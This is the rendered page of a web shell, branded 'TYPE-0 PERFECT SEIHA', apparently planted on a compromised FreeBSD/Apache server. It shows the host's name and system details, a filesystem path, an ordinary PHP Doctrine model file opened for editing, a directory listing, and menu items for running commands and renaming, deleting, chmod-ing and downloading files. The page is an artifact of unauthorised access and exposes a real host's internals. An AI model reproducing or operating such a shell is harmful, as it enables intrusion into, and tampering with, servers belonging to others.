TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
local_vendor
teze
teze
src
doctrine
src
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/local_vendor/teze/teze/src/doctrine/src/Model.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Teze\Doctrine; use Doctrine\ORM\Configuration; use Nette\DI\Container; /** * Model * @author Jan Pospisil */ class Model extends \Nette\Object { private $entityManager; private $namespace; private $databaseParams; private $dir; private $managers; private $container; public function __construct($databaseParams, $namespace, $dir, Container $container) { $this->databaseParams = $databaseParams; $this->namespace = $namespace; $this->dir = $dir; $this->container = $container; } public function getEntityManager() { if(!$this->entityManager || !$this->entityManager->isOpen()) { $config = new Configuration(); $metadata = $config->newDefaultAnnotationDriver($this->dir); $config->setMetadataDriverImpl($metadata); $config->setProxyNamespace($this->namespace); $config->setProxyDir($this->dir); $this->entityManager = \Doctrine\ORM\EntityManager::create($this->databaseParams, $config); } return $this->entityManager; } public function &__get($name){ if($name == 'entityManager'){ $return = $this->getEntityManager(); return $return; } if(!isset($this->managers[$name])){ $this->managers[$name] = $this->createManager($name); } return $this->managers[$name]; } private function createManager($name) { if(substr($name, -7) != 'Manager') throw new \InvalidArgumentException('Invalid manager name '.$name); $classname = $this->namespace . '\\' . ucfirst(substr($name, 0, -7)) . '\\' . ucfirst($name); return $this->container->getByType($classname); } }
Crotin
Name
Size
Permissions
Modified
User/Group
BaseEntity.php
2603
0644
2018-07-10 17:51:59
Unknown/Unknown
EntityManagerContainer.php
1404
0644
2018-07-10 17:51:58
Unknown/Unknown
BaseRepository.php
1784
0644
2018-07-10 17:51:59
Unknown/Unknown
RepositoryFactory.php
632
0644
2018-07-10 17:51:59
Unknown/Unknown
Helpers.php
429
0644
2018-07-10 17:51:59
Unknown/Unknown
ConnectionPanel.php
2764
0644
2018-07-10 17:51:59
Unknown/Unknown
Model.php
1617
0644
2018-07-10 17:51:59
Unknown/Unknown
BaseManager.php
1031
0644
2018-07-10 17:51:59
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin